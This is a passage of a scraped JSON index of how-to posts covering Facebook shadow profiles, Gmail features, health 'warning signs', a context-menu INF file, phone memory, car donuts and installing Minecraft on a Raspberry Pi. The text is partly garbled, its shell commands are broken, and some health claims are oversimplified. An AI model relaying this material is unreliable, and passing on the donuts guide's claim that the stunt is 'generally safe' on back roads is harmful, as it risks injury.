or conspiracy theory. It came to light after Facebook discovered a communication leak during 2013.\nLeaks often reveal details about registered users who are willing to provide information to the site. However, this Facebook leak has revealed information about people who have never signed up to the site. This proves the existence of a shadow profile.\nWhy does Facebook create shadow profiles? Facebook says the shadow profile is essential to the 'People You May Know' feature. So, why does Facebook create and store a shadow profile of people who are not interested in using Facebook?\nIf you ask someone from Facebook, they will say that the shadow profile is essential to the 'People You May Know' feature . This is where Facebook introduces friends you may know, now have accounts on the site.\nThe idea is that if both friend A and friend B create a Facebook profile before you, Facebook can know who is in your circle of friends. For example, this social network might see that you appear in both your A friend's friend's and your B's friends' lists.\nThis gives Facebook the ability to connect you with people you know, when you first sign up. This is why Facebook needs shadow profiles to achieve this.\nIf you ask anyone else why Facebook collects this data, you'll probably get a more outrageous answer: In modern times, hoarding information about people can be very beneficial.\nWhen people give Facebook data for free, the service does everything it can to ensure it gets as much value from the data as possible. Facebook even goes so far as to retain information after you delete your account.\nWhat can you do with a shadow profile? Unfortunately, you do not have direct control over the shadow profiles on Facebook. Whenever a Facebook user, save you in your contact list on your phone, log in to Facebook, your information will be added to the shadow profile.\nYou can ask your friends to delete the contacts they have uploaded to Facebook, by visiting the Manage Contacts page on Facebook:\nhttps://www.facebook.com/mobile/facebook/contacts/?tab=contacts You can ask your friends to delete the contacts they have uploaded to Facebook Of course, they will have to turn off the sync settings afterwards.\nUnfortunately, this is very unrealistic. You will have to ask everyone you know, see who has your contact details and are using Facebook to do this. If a friend doesn't comply, they will still upload your data to Facebook.\nAs such, the best way for you to protect yourself from being crawled is to give your friends some details, such as email and phone numbers, that are okay, and keep Keep your personal information private.\nThat's the only real way you can stop Facebook from collecting data about you. When a friend adds you to your contacts and syncs with Facebook, your shadow profile is created. As such, the only way to prevent this is to create a new, private email address. Then, only allow close friends and family without Facebook to contact you.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjna6lu9Zmp6unlp65pnnOp2SfmZOar7C7yg%3D%3D\n","link":"/post/what-is-shadow-profile-on-facebook/","section":"post","tags":null,"title":"What is Shadow Profile on Facebook?"},{"body":"In Gmail, Google has a small area known as \" Labs \". It is where the company offers features that are in beta, and you can turn them on if you want.\nAlthough it is still being built, most Labs features work well, even very well and very useful. From things like canceling mail, customizing shortcuts to integrating Google Calendar and combining search capabilities on Google Drive, all will make our Gmail use easy, convenient and specialized. more karma.\nHow to enter Labs and enable Lab features: Access to Gmail web background Click the gear icon in the upper right corner of the screen Select Settings\u0026gt; switch to the Lab tab In the \" Search for a lab \" box, type the name of the Lab feature Select \"Enable\" button to enable Lab feature Scroll to the bottom of the page, select \" Save changes \" Gmail will automatically reload and you can start using it.   1. Undo Send Have you ever regretted sending an email? Probably yes, at least once. Stopping one email is often sent away, you have almost no way to recover it. Fortunately, in Gmail Labs, there is Undo Send feature, and as the name implies, it will allow you to cancel sending mail within a few seconds after pressing the send button. You can set 5, 10, 20 or 30 seconds as you like. In those precious seconds, if you think again or change, you can press the \" Undo \" button located just below Gmail's search box and that's it.\n  I recommend that you turn this feature on, because you won't know when you really need it, but when you need it, it doesn't work. I myself use it more than I thought. Also to adjust the Undo wait time, click on the gear icon of Gmail\u0026gt; Settings\u0026gt; General tab\u0026gt; Undo Send .\n2. Custom Keyboard Shortcut Do you spend most of your day working on email on Gmail? If the answer is yes, this is a Labs feature that you should turn on right away because it allows you to customize the shortcut keys to your liking. In fact, Gmail mail has its default shortcuts, but the customizations are more convenient, right. For example, create a new message instead of pressing the letter C, then press the letter N ( New ) for example.\n  3. Auto-Advance If you have to handle email in large numbers, you will probably feel bothered when Gmail automatically returns to the Inbox after you delete, store or turn off an email notification. If you install Lab Auto-Advance, you can set up Gmail to do in this case, such as after deleting / archiving, jump to the next email instead of going back to the inbox. Thus, our working efficiency will increase and you will save more time.\nAfter installation is complete, settings for Auto-Advance can be found at Settings\u0026gt; General tab\u0026gt; Auto-advance.\n  4. Unread Message Icon Simple to understand: this Lab feature allows you to display the number of unread messages on the Gmail icon on the browser tab, so you can know how many unprocessed messages you have while working on other tabs . Note that you can only use this feature for Chrome, Firefox and Opera only.\n  .\n5. Canned Responses This is Gmail's feature that allows us to quickly insert a pre-edited piece of content into a message. Canned response is useful when you need to send the same message content multiple times, so you'll save a lot of time.\nAfter enabling it in the Gmail Lab, edit a new message and click on the small arrow in the lower right corner of the message window, select Canned response\u0026gt; New Canned response to name and save the content. In the later use, you just need to go back to this Canned response menu, you will see the things you have edited, want to insert any content, then select it.\n  6. Set Reply All as default This is not really a Lab feature, but by default it is turned off so I want to say it all in this article. Normally when you exchange letters with many people, the Reply All button will allow you to send replies to everyone who is present in the conversation. Meanwhile, the Reply button only responds to the message of a single person, who is the sender of the message you are viewing. Then others will miss the content you write and this is extremely annoying.\nTherefore, in the Settings section of Gmail, you should set the \" Default reply behavior \" section to Reply All. The button to write a Gmail reply from now on will become a Reply All button, even for conversations between 2 or more people. When you need Reply separately for only 1 person in the conversation, press the small arrow key and select, make sure there is no mistake.\n7. Send and store Archive is a form of e-mailing out of the inbox but not deleting into the trash, but Gmail will take it away, when you need it, you can search it later ( by searching box, of course ) . By default you have to manually select which messages you want to archive, but with the Send \u0026amp; Archive settings, you can ask Gmail to automatically archive the message as soon as it is sent. The situation to use this button is when you have finished exchanging emails with someone, you say thank you, and instead of pressing the Send button as usual, click Send + Archive. Previously this button was a Labs experimental feature, but now it has been officially integrated into Gmail.\nTo turn this feature on, go to Settings\u0026gt; Send and Archive\u0026gt; Show \"Send \u0026amp; Archive\" button in reply.\n  8. Mark All As Read Too many unread messages but lazy to click on each one? The messages with short content look at but know Gmail is not displayed yet? Just a single click on this Lab feature will all be resolved quickly! Once activated, this button is in the More\u0026gt; Mark All As Read section , and this mark will apply to each of your inboxes.\n  9. Google Calendar As described, this Lab feature brings Google Calendar into Gmail, so you know if you have any events or meetings today, what tomorrow is. You can even create new calendar events via this add-on with only syntax Time + Date + Content ( eg: 7pm today Going to a wedding ). If you have to use Gmail regularly all day, this Lab is very useful and it also saves a lot of time.\nAfter installing, this Lab is present at the bottom of the Gmail window, in the Gadget button ( see picture below for location ).\n  10. App Search This lab is useful when you are about to prepare an email but you need to see the contents of a document. Instead of having to switch to Google Drive, search, view documents and return to Gmail, now you can quickly search the file name right in Gmail too (of course, use the same search box with Gmail as usual ). The results will be found at the bottom of the Gmail window, which means you'll have to scroll through the email results to see the results.\n  ncG1vNJzZmismaXArq3KnmWcp51kfnF5xZ6Yra2imsBuu8VmnqaZmaF6tbTArWSyp6ViwKm71KWbZpmTqba3rdOeZJqmlGLBs8U%3D\n","link":"/post/10-features-of-gmail-that-you-should-activate-and-try/","section":"post","tags":null,"title":"10 features of Gmail that you should activate and try"},{"body":" 13 health problems that crescent-shaped on nails are trying to warn you 3 minimum things to do to have a healthy life Apply these 10 methods if you often lose sleep! The body of each of us is a perfect machine, where many things are operating at the same time. Sometimes, the body sends out signals of help that if you ignore or ignore them, they can lead to health problems. On the Bright Side page shared with you read 7 warning signs that your body is \"calling for help\" , listen to your body to be able to handle it in time.\n1. Insomnia, irritability and leg cramps\n  © depositphotos.com © depositphotos.com © depositphotos.com\nIf your body shows these signs, you need magnesium and potassium supplements . Add tomatoes, oranges, bananas, and spinach to your daily diet to supplement the above substances.\n2. Dry skin\n © depositphotos.com © depositphotos.com © depositphotos.com © flickr.com\nDry skin can be a warning sign that your body is deficient in vitamin E. So, you should eat lots of vegetables, oils, nuts and fish.\nSee also: 9 familiar types of fish should not eat too much if you don't want to ruin your health\n3. Like to eat sweets\n  © depositphotos.com © depositphotos.com © depositphotos.com\nIf you suddenly want to eat sweets, it may be that your body is experiencing stress, depression or exhaustion. So you need to add glucose to your body. To cope with this condition and avoid weight gain, eat dark chocolate or honey.\n4. Craving for ice\n © depositphotos.com © depositphotos.com © depositphotos.com © depositphotos.com\nIf you suddenly crave cold ice, it may be a sign that your body is anemic due to iron deficiency . Add iron-rich foods such as beef, eggs and mollusks. However, it is better to consult your doctor if this condition continues and you always feel lack of energy.\n5. Bleeding gums\n  © depositphotos.com © depositphotos.com © depositphotos.com © depositphotos.com\nYou sometimes have frequent bleeding gums when brushing your teeth, which is a sign of vitamin C deficiency. Supplement your daily diet with the following foods: citrus fruits, vegetables bina, green and red bell peppers, tomatoes, cabbage, cauliflower and broccoli.\n6. Nails and hair are easy to break\n  © depositphotos.com © depositphotos.com © depositphotos.com © flickr.com\nBroken nails and hair are signs that your body is deficient in vitamin B. Drink plenty of milk, eat nori seaweed and mushrooms.\nSee also: Streaks on nails can be a warning sign for melanoma\n7. Eyes appear circles around the iris\n  © depositphotos.com\nCircles around the iris often appear in older people ( over 50 years old ), which is a normal sign. Conversely, if it occurs in young people, it is a sign that your body has high cholesterol levels . You should see your doctor for advice sooner.\nSee also: 10 middle-aged crisis warning signs everyone needs to know\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51khG7DwKuloqaXYsCqs82sZLKnpad6o7vDsmSiq12Yrq24yKeeZp6fp3qpscup\n","link":"/post/7-warning-signs-your-body-is-calling-for-help/","section":"post","tags":null,"title":"7 warning signs your body is 'calling for help'"},{"body":"Method 1of 2:\nInstall  Open Notepad by going to Start → All Programs → Accessories → Notepad.\n Copy codes given below and paste them in Notepad.\n [version] signature=\"$CHICAGO$\" [NotepadAsAdminInstall] CopyFiles = NotepadAsAdmin.Files.Inf AddReg = NotepadAsAdmin.AddReg [DefaultInstall] CopyFiles = NotepadAsAdmin.Files.Inf AddReg = NotepadAsAdmin.AddReg [DefaultUnInstall] DelFiles = NotepadAsAdmin.Files.Inf DelReg = NotepadAsAdmin.DelReg [SourceDisksNames] 55=\"Notepad as Admin\",\"\",1 [SourceDisksFiles] NotepadAsAdmin.INF=55 [DestinationDirs] NotepadAsAdmin.Files.Inf = 17 [NotepadAsAdmin.Files.Inf] NotepadAsAdmin.INF [NotepadAsAdmin.AddReg] HKLM,%UDHERE%,DisplayName,,\"%NotepadAsAdminName%\" HKLM,%UDHERE%,UninstallString,,\"rundll32.exe syssetup.dll, SetupInfObjectInstallAction DefaultUninstall 132 %17%NotepadAsAdmin.inf\" HKCR,*Shellrunas,,,\"%NotepadAsAdminAccel%\" HKCR,*Shellrunascommand,,,\"%11%notepad.exe \"\"%1\"\"\" [NotepadAsAdmin.DelReg] HKLM,%UDHERE% HKCR,DirectoryShellrunas HKCR,DriveShellrunas [Strings] NotepadAsAdminName=\"Notepad as Admin PowerToy (Uninstall only)\" NotepadAsAdminAccel=\"Notepad as Admin\" UDHERE=\"SoftwareMicrosoftWindowsCurrentVersionUninstallNotepadAsAdmin\"    In Notepad, go to File → Save As... and save the file with name NotepadAsAdmin.inf. Be sure to change the Save as Type: from Text Documents to All Files.\n  Go to the location where you just saved the \"NotepadAsAdmin.inf\" file. Right click on the file and click on \"Install\" from context menu.\n To try it, right-click on any file in Windows Explorer and you will see a new menu item called \"Notepad as Admin\". Click on that option and that file will be opened in Notepad.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiuoyop56mXay2tbSMp6atnaCWsW6t0maYnaWZo7a0wNGaq6iqXai1sL7TnKytZaSkerW0xGaaqKakmsW1ecyepa5lmaN6uLXNnaawq11seqK6w2auoqaUpMS0edWiqq2Z\n","link":"/post/how-to-add-an-open-with-notepad-as-administrator-shortcut-to-the-context-menu-in-windows-7-and-windows-vista/","section":"post","tags":null,"title":"How to Add an 'Open With Notepad As Administrator' Shortcut to the Context Menu in Windows 7 and Windows Vista"},{"body":"Did you receive multiple emails on Gmail from a single source, despite unsubscribing from their mailing list? One of the best ways to block spam from unwanted senders is to put their IP address on the blacklist. Similarly, you can put an IP address into the whitelist (whitelist) so that it will not be blacklisted. This is useful if some of your important email sources are regularly in the Spam folder .\nFollow the methods below to put a certain IP address into the whitelist or blacklist for Gmail. While the blacklist shown here is specific to Gmail, one of the techniques for whitelist has a more universal application. It will remove an IP address from many services in the blacklist.\nDetermine the IP address in Gmail Whether you want to send a sender to a blacklist or a whitelist, the first step is to determine the IP address of the mail server. In Gmail, you can find this by opening any email and clicking Show Original.\n Click Show Original See the Received section where you can clearly see the sender's IP.\n See Received section How to add IP address to blacklist for Gmail Because you are not authorized to access your mail servers, Gmail has no mechanism to block incoming emails based on IP address. To do this, you will need a third party service, such as Block Sender . It is available as an extension for Chrome / Edge or Firefox.\nAfter the extension has been added to the browser, log in to Block Sender with your Gmail account.\nClick New Block on the Block Sender dashboard.\nIn the next step, you will see an option to block email senders based on IP address. You can decide whether future emails from this source will be delivered to Trash or deleted directly. This special service (blocking email sources by IP address) is only available with paid Plus or Pro packages.\n You will see an option to block email senders based on IP address Some spam sources do not maintain a permanent IP, but instead attack from new IPs, designated over a range. To block them, Mailstrom is a useful service. It lists all emails from one source and when you click Block , the tool determines the range of IP addresses, among many other things, and ensures that any email from this range in the future will do not show up in your inbox anymore.\n Mailstrom How to add IP addresses to whitelist for Gmail Adding IP addresses to the whitelist takes more time than the blacklist process, because there are many email filtering services associated with webmail accounts. In case your email is classified as spam by Gmail servers, you will get error 550. Google has a specific sender form to help you ensure the ability to send mail to Gmail users. Reference at:\nhttps://support.google.com/mail/contact/bulk_send_new?rd=1  If you have a G Suite account, you can easily list whitelists for multiple IP addresses in Gmail from the administrator control panel, at Settings for Gmail\u0026gt; Advanced Settings\u0026gt; General Settings\u0026gt; Spam\u0026gt; Email Whitelist .\n If you have a G Suite account, you can easily list whitelists for multiple IP addresses However, in most common examples, the challenge is because the IP email server falls into one of the important blacklists. There are two common web services to check if you are faced with this problem. These are MultiRBL (http://multirbl.valli.org/) and MxToolbox (https://mxtoolbox.com/blacklists.aspx). The second tool puts the IP address used in the previous section into the whitelist as shown below. The service put the IP address on the correct blacklist specified. Click Detail to get more details about the service.\n Click Detail to get more details about the service Most services that put IP addresses on blacklist for emails have a contact form, chat service or a simple button to request cancellation, such as this specific example.\n Most services that put IP addresses on blacklist for emails have a contact form, chat service or a simple button to request cancellation. To submit a cancellation request, you usually have to create an account with the related service.\nAfter you create your account, send a request to include a specific IP address into the whitelist. It does not take long to submit this request.\nAdditional requests to the whitelist will be displayed on the control panel. It usually takes a few minutes for this request to be processed.\nAs shown here, the IP address has been removed from the Abusix blacklist creation service.\n The IP address has been removed from Abusix blacklist creation service The best way to add IP addresses to the whitelist or blacklist for email servers is to have your own domain and can control the root file. You can learn how to set up your own email server on a Windows PC.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqqvIyam52qlajAbsDOZpmlmZOguaq%2F02amq2Wnnba1scuiqq1llqS%2FbrPMmqCl\n","link":"/post/how-to-add-ip-address-to-blacklist-or-whitelist-for-gmail/","section":"post","tags":null,"title":"How to add IP address to blacklist or whitelist for Gmail"},{"body":"Spinning donuts with your car is a great way to leave rubber on the pavement and show off to your friends. Donuts can only be done properly in a small light car, otherwise your car will not spin. While donuts can be dangerous and they can...\nPart 1of 4:\nUsing a Rear-Wheel-Drive Car  Put your car into first gear. This method only works for cars that have a manual transmission, as you will need to use the clutch. Pull the gear shift, either next to your steering wheel or your right leg, and shift it to first gear. Then gradually press on the accelerator and drive forward slowly. As your car picks up some speed (15-20 mph) begin to turn your steering wheel in the direction you want your donut to go. Note: this step is not about making the donut, but about positioning your car so that you are ready to do so.[1][2] Only turn your steering wheel 45 degrees while making one slow, large circle with your car. Continue making the large circle a few times while you get used to how your car feels and the way it turns.   Turn your steering wheel so you tighten the circle. It is important that this step and the following step be done one right after another, fairly quickly. Continue to press gradually on your accelerator. Turn your steering wheel so that it is positioned somewhere between a 45-90 degree angle (in the same direction as before). As you are turning the steering wheel, press all the way down on your clutch and engage your hand brake.[3][4] Your car's rear wheels will begin to lock up as your car begins to skid.   Floor the accelerator and release the clutch and hand brake. It is important that this step and the previous step be done one right after another, fairly quickly. As your car's rear wheels lock, and your car begins to skid, floor the accelerator. At the same time you are flooring your accelerator, you should also release both the clutch and the hand brake. If you have enough speed, your car should now begin to spin and perform a donut.[5][6]\n  Decelerate slowly after one to two donuts. After you have completed between one to two donuts, bring your car back to normal speed by lifting up on the accelerator. As you are slowing down, begin to turn your wheel back to the straight forward position. You will want to aim your car in the direction of an open space of blacktop. After you have the car under control, press on the clutch and shift your car back into park.[7][8][9]\n Part 2of 4:\nDoing Regular Donuts with a Front-Wheel-Drive Car  Shift your car into first gear. Shift into first gear if your car has a manual transmission. Go into hill-climbing gear if your car has an automatic transmission. The gear shift is located either next to your steering wheel or your right leg. As you are shifting your car into gear, turn your steering wheel completely in one direction.[10]\n  Press on your accelerator. Floor the accelerator and your car should begin to turn in one direction. As the car is sliding, yank the hand brake to begin the rear-wheel slide.[11]\n  Manage both the power and the brake. To keep the car spinning and gliding on the rear wheels, you will have to continuously press on the accelerator and lift the hand brake. After you have done so once, let off the accelerator slightly, and let the hand brake go. When your car begins to lose power, and therefore some of the spin, press on the throttle again, and lift the hand brake.[12] Be careful not to rev your engine too much in first gear. If you do this more than 5-6 times it can start to damage your engine. To stop the donuts, simply let off the accelerator slightly, while jerking your steering wheel back to the center position. Press on the clutch and brake as you shift back into park.  Part 3of 4:\nDoing Reverse Donuts with a Front-Wheel-Drive Car  Shift your car into reverse gear. This method only works with cars that have a manual transmission as you will need to use the clutch. Start by turning your steering wheel to one direction. As you do this, shift your car into reverse. The gear shift should be located either next to your steering wheel or right leg.[13]\n  Begin to back your car up. First press the clutch. As you do this, floor the accelerator. Once the accelerator is floored, let up from the clutch. Your car will begin to lurch backwards, as the front wheels begin to lose grip and start to slide. The front will start to rotate around the back wheels.[14] Back off the throttle slightly. Hold the accelerator at a constant, medium-strength position.   Turn your wheel sharply. After your car begins to slide on the back wheels, jerk your steering wheel all the way to the opposite direction. The donuts that are produced will generate severe pressure against your body (lateral G force).[15] Once you have completed the donuts, bring your steering wheel back to the center position and lower the accelerator down so you are at around 20 mph. You may have to jerk the wheel slightly back-and-forth to maintain control of the car. Press down on the clutch and brake as you shift your car back into park.  Part 4of 4:\nTaking the Necessary Safety Precautions  Turn off the traction control on your car before you do any donuts. This is key, otherwise the tires might lock up and not spin properly. Put your key in the ignition, and turn to start your car. While your car is still in park, turn off traction control. There is generally a button on the left or right side of the steering wheel allowing you to disable traction control. See your owner's manual if there is no such button.[16][17][18] Do not turn off traction control before you start your car. The default setting for traction control is \"ON.\" This means that traction control will turn on after the ignition starts. A light is likely to appear on your dashboard above your steering wheel calling your attention to the fact that traction control has been turned off. Do not worry about this light, as it will disappear once you finish spinning donuts, and turn traction control back on.   Find a clear open space to spin donuts. The surface of the space should ideally be blacktop rather than grass or dirt. It is best to spin donuts on a barren parking lot, or back road. Make sure that you have enough space, not just for your car, but for when it begins to spin in circles. You should also make sure that the surrounding space does not have any houses, trees, or other obstructions. Though you can also do donuts in snowy areas, avoid icy or slick areas as these can present a safety hazard.   Check the tread on your tires. You do not want to spin donuts with tires that are already worn down, and/or need replacing. To check the tread, perform the \"penny test.\" Take a penny and place it in one of the tire's tread ribs. Make sure Lincoln's head is facing down. If the tread rib covers the entire head, you have enough tread on your tire to safely spin donuts.[19] If the head is more than halfway showing, you should think about replacing your tires. You can either do this yourself by purchasing tires online or visiting your nearest car care professional.   Maintain your car's fluids. Make sure that your oil has been recently changed. You should also change your power steering and brake fluids. These are critically important, as spinning donuts puts a tremendous amount of pressure on your car. You need to make sure it is in top shape before you take it out. Please visit your nearest car care professional or use the following links to change your car's fluids: How to Change the Oil in Your Car How to Flush Power Steering Fluid How to Refill Brake Fluid You should also perform an overall check on your car's mechanical components. Check your engine, transmission, muffler, etc. to make sure they are in tip-top shape. Visit: How to Do a Maintenance Inspection for Your Car.   Bring some friends along with you. Generally speaking, spinning donuts is safe. However, in case of an emergency, you should always have people on standby. This could be a couple of friends or relatives who are willing to go out with you. Have them stand far away from where you are spinning donuts. This way there is no chance that they can get hurt, and therefore, will be able to call someone in case of an emergency. Make sure your phone is charged before you go out, as well as your friends' phones. Have your local sheriff's office and emergency personnel phone numbers on hand in the event of an emergency.   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfYrGwutStqg%3D%3D\n","link":"/post/how-to-do-donuts/","section":"post","tags":null,"title":"How to Do Donuts"},{"body":"How to Free Up Android Memory   Identify which applications are taking up the most memory. You can check the health of your phone to see how much memory (RAM) is being used and which apps take up the most space. Note: RAM is used memory, so having only a small amount of unused RAM left is not necessarily an alarm. Android always tries to put most of the free RAM to use because this is the most efficient way of consuming it.\nOpen the Settings app on your device.\nScroll down and tap \"About phone\".\nTap the \"Memory\" option. Some basic details about your phone's memory usage will appear.\nTap the \"Memory used by apps\" button. The apps that take up the most RAM will appear.\n  Delete old apps. Deleting unused apps will help increase the amount of free space that Android has, as well as free up RAM if there are many applications running in the background. Both storage and free RAM will help improve the performance of your Android device. Apps that you have purchased or received for free can be re-downloaded at any time from the Google Play Store.\nOpen the Settings app on the device.\nSelect \"Apps\" or \"Application manager\".\nScroll down on the list to find apps you don't use.\nTap the app and select \"Uninstall\" to remove it. The application will be removed from the device. If there is no \"Uninstall\" button, the application is built into the device and cannot be removed.\n  Disable apps that you don't use but can't uninstall. Many Android devices often come with dozens of pre-installed apps that run in the background and take up system resources. These apps cannot be uninstalled if the user does not gain advanced access (root privileges) to the device, you can disable them instead. While they won't free up memory space, these apps won't launch anymore.\nOpen the Settings app on the device.\nSelect \"Apps\" or \"Application manager\".\nFind the app you want to disable. Usually those are apps from the vendor or bundled apps that you didn't install yourself.\nTap \"Uninstall updates\" if available. You may have to press this button first to get the option to disable the app.\nClick \"Disable\". The application will be disabled and will no longer launch.\n  Transfer images to your computer or the cloud. If images take up a lot of space on Android, you can transfer data to your computer or upload to a cloud storage service to free up space on your device.\nSwitch to PC - Connect your Android device to your computer via a USB cable. Open the Notification panel, tap the USB option and select \"Photo transfer\". Open the Computer/This PC window, right-click on the Android device (maybe only showing the model number) and select \"Import pictures and videos\". Follow the instructions to copy all the photos on the device to the Pictures folder. Click the \"More options\" link and check the \"Delete files from your device after importing\" box.\nMove to Mac - Connect your Android device to your Mac computer via a USB cable. Open the Notification panel, tap the USB option and select \"Photo transfer\". Open the Image Capture app on your Mac and select your Android device in the menu on the left. Open the additional options at the bottom of the menu and select \"Delete after Import\". Click \"Import All\" to transfer all the photos from your Android device to your Mac, then delete the photos from Android.\nCloud Upload - Get the Google Photos app (Google Images) if you haven't already. Google Photos lets you back up all your photos for free with only a slight loss in quality, or upload them to Drive storage in their original quality. Open Google Photos' Settings menu and tap \"Back up \u0026amp; sync\". Tap \"Upload Size\" to choose whether you want to use free storage or Drive. As long as you make sure that the \"Backup \u0026amp; sync\" option is enabled, the photos will automatically be uploaded. Then, tap \"Free up space\" from the Settings menu to delete all the photos you just backed up.\n  Delete the file in the download folder. If you still need to free up more memory, you can delete the contents of the Downloads folder. This folder often contains PDF files or other formats that you only download to your device and use once.\nOpen the Downloads app in the app drawer. The app drawer button has a grid of dots.\nClick the \"Delete\" button and select all the files you want to delete.\nClick \"Delete\" again to delete all selected files. Note: this process will vary slightly by phone manufacturer.\n  Replace RAM-intensive applications. If an app on your phone is consuming a lot of resources, try to find some alternative options. For example, instead of using the Facebook app, you can go to the Facebook website. Although some features may be missing, you will save a lot of system resources.\n  Stay away from apps that claim to free up RAM. There are many apps on the Google Play Store that advertise that can increase system performance. Given the way Android is designed, these apps are rarely effective, and sometimes even affect performance rather than improve.\n  Update system software. Newer system software versions may improve device performance. These versions sometimes come from the vendor, and sometimes the new version may not be compatible with the old device.\nOpen the Settings app on the device.\nScroll to the bottom of the menu and select \"System updates\".\nClick \"Check for update\" and install the update (if available). The update process usually takes about 20 minutes if a new update is available.\nHow to Free Up iPhone Memory   Restart iPhone periodically and often. A complete restart of the iPhone will reset the system memory. Besides fixing apps that aren't working properly or consuming too much resources, this process also improves the overall performance of your device.\nHold down the power button until the Power slider appears on the screen.\nUse your finger to swipe the slider to power off iPhone.\nAfter about 10 seconds, hold down the power button again to turn iPhone back on.\n  Reset your iPhone's RAM. You can apply quick tips to clear RAM on iPhone, making it easier for apps to have more free RAM to use:\nHold down the power button until the Power slider appears. But first you need to make sure your iPhone is unlocked.\nHold down the Home button for 5 seconds after the slider appears. If successful, you will return to the Home screen. The RAM in use will be cleared.\n  Delete unused applications. iPhone performance will be better if the phone has some free space available. One of the easiest ways to free up space is to delete apps that you no longer use. As a result, memory and RAM for applications that often run in the background will be freed. You can re-download any free or purchased app from the App Store.\nFind the app you want to delete on the Home screen.\nLong press on the app until the icon starts to wobble.\nTap the \"X\" on the corner of the app to delete. Repeat the action with the other apps you want to delete. Note: system apps will not be deleted.\n  Transfer photos you've taken to your computer. If you've taken a lot of photos, the space on your iPhone may be full. When the memory runs out, the system becomes sluggish. This image transfer process will vary depending on the computer you use:\nWith Windows - Connect iPhone to computer via USB cable. Open the Computer/This PC window and right-click the iPhone icon. Select \"Import pictures and videos\" to start importing pictures. Click \"More options\" and check the box \"Delete files from your device after importing.\" Follow the onscreen instructions to import the photos to your computer and then delete them from your iPhone.\nWith Mac - Connect iPhone to Mac via USB cable. Open \"Image Capture\" and select iPhone from the list of devices in the left menu. Expand the additional options at the bottom of the menu and select \"Delete after Import\". Click the \"Import all\" button to import the photos to your computer and then delete them from your iPhone.\n  Turn off some effects. Some iOS menu transition effects can slow down older iPhone models. Disable these effects to improve performance:\nOpen the Settings app and select \"General\". Tap \"Accessibility\". Tap \"Reduce Motion\" and turn on \"Reduce Motion\". Go back to the \"Accessibility\" menu and choose \"Increase Contrast\". Then enable the \"Reduce Transparency\" option.   Delete music you don't listen to anymore. Like pictures, music files can take up a lot of memory on your device. If your phone is running low on memory, deleting songs that you no longer listen to can help improve device performance. With music purchased on iTunes, you'll be able to download it again at any time. With music synced from your computer, you can restore it by re-syncing.\nOpen the Settings app and select \"General\".\nTap \"Storage \u0026amp; iCloud Usage\" then select \"Manage Storage\" under Storage.\nTap Music from the list of apps.\nSwipe any specific artist or song from right to left and then tap \"Delete\". You can also tap \"All Songs\" to delete all the music at once.\n  Use the application to check the status of RAM usage. iPhone doesn't have a built-in app to check how much RAM is being used. This is because the system implicitly handles the RAM allocation and is not visible to the user. If you want to monitor RAM usage, you need to install additional support applications.\nOne of the most popular apps is System Status, but you won't be able to see the RAM usage of each app.\nFree up iphone memory Free up Android memory ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6imrJuwc9mqq2nopa0pnnOp2SappSnvKqwjJqlnWWZpbWwusQ%3D\n","link":"/post/how-to-free-up-storage-on-android-and-iphone/","section":"post","tags":null,"title":"How to Free Up Storage on Android and iPhone"},{"body":"Minecraft is a sandbox game designed by Markus 'Notch' Persson Swedish software engineer, and later developed and widely known by Mojang.\nIn terms of creativity and construction, Minecraft allows players to build buildings using structural cubes according to the simulator of the 3D world.In addition, the game also has other interesting activities such as exploring, exploiting resources, crafting and fighting.Let's learn how to install Minecraft on Raspberry Pi machines.\nThe guide below will explain in detail how each step so you can successfully install Minecraft on your Raspberry Pi.\nThe first thing to do is to update the data packets on the Raspberry Pi by entering the following 2 commands.\n sudo apt-get update sudo apt-get upgrade    Then update the firmware for your Raspberry Pi with this command:\n sudo rpi-update    After updating the firmware, restart the Raspberry Pi with the command:\n sudo reboot    By this step, you will have to install the experimental OpenGL Driver as well as show audio and glxgears using the commands below.\nsudo apt-get -y install xcompmgr libgl1-mesa-dri sudo apt-get -y install libalut0-libalut0 sudo apt-get -y install mesa-utils      Next, use the sudo raspi-config command to activate \"GL Driver\".\nAfter entering the above command, from the Advanced Options a utility configuration will be started, click on 'GL Driver' and then click Yes.\nNow it's time to download Minecraft, by entering the following command in Terminal:\n mkdir ~ / Minecraft; mkdir ~ / Minecraft / Natives; cd ~ / Minecraft \u0026amp;\u0026amp; wgethttps: //s3.amazonaws.com/Minecraft.Download/launcher/Minecraft.jar    In this step, use the java -jar command for Minecraft.jar to install the launcher.\n  After installing the launcher, Minecraft will automatically launch, the rest is just login and battle\n  Just follow these instructions, make sure you install Minecraft on Raspberry Pi tape without worrying about any problems.Wish you have great entertainment moments.\nSee more:\nWhat is Raspberry Pi and how is it used? 20 great applications from micro-Raspberry Pi computers Instructions for creating your own Minecraft mods to play games in your style ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKKmlZi%2ForLTZqanZaKWwLGuxKupsmWgng%3D%3D\n","link":"/post/how-to-install-minecraft-on-raspberry-pi/","section":"post","tags":null,"title":"How to install Minecraft on Raspberry Pi"},{"body":" A clear and intelligent artist's statement will make you stand out from the crowd and will show people that you are a thoughtful and deliberate artist. Writing your statement can be a difficult process, but it is also an enormously...\nMethod 1of 3:\nThinking It Through  Be honest with yourself. Before you write a word, take some time to just think about you and your art. You need to understand what it is that you are trying to achieve, before you attempt to explain it to anyone else.[1] Ask yourself what you're doing. What does your art express? What makes your art unique? Ask yourself why you're doing it. What motivates you to create art? What emotions or ideas are you trying to convey? What does your art mean to you? Ask yourself how you're doing it. What do you draw inspiration from? What tools and materials do you use?   Consider your influences. Think about the things that influence you, whether it's art, music, literature, history, politics or the environment. Think about how these influences have made an impression on you and how they manifest themselves in your work. Try to be as specific as possible.[2]\n  Make a mind-map. Mind-mapping is a good way to free your thinking. It will also help you to trace the relationship between different ideas. Jot down a key idea that informs your work in the center of a blank page. Then spend 15 minutes writing down any words, phrases, feelings, techniques etc. related to that idea. Free writing is another technique that can help get the creative juices going. Spend 5-10 minutes writing whatever pops into your head when you think about your art. You'll be amazed at what you come up with.[3]   Determine what you want people to understand. Think about what you want people to take away from your art. What message or emotion are you trying to convey?\n Method 2of 3:\nPiecing It Together  Make a statement about why you do what you do. The first section of your artist's statement should begin with a discussion of why you make art. Try to make it as personal as possible. Talk about what your goals are and what you hope to achieve 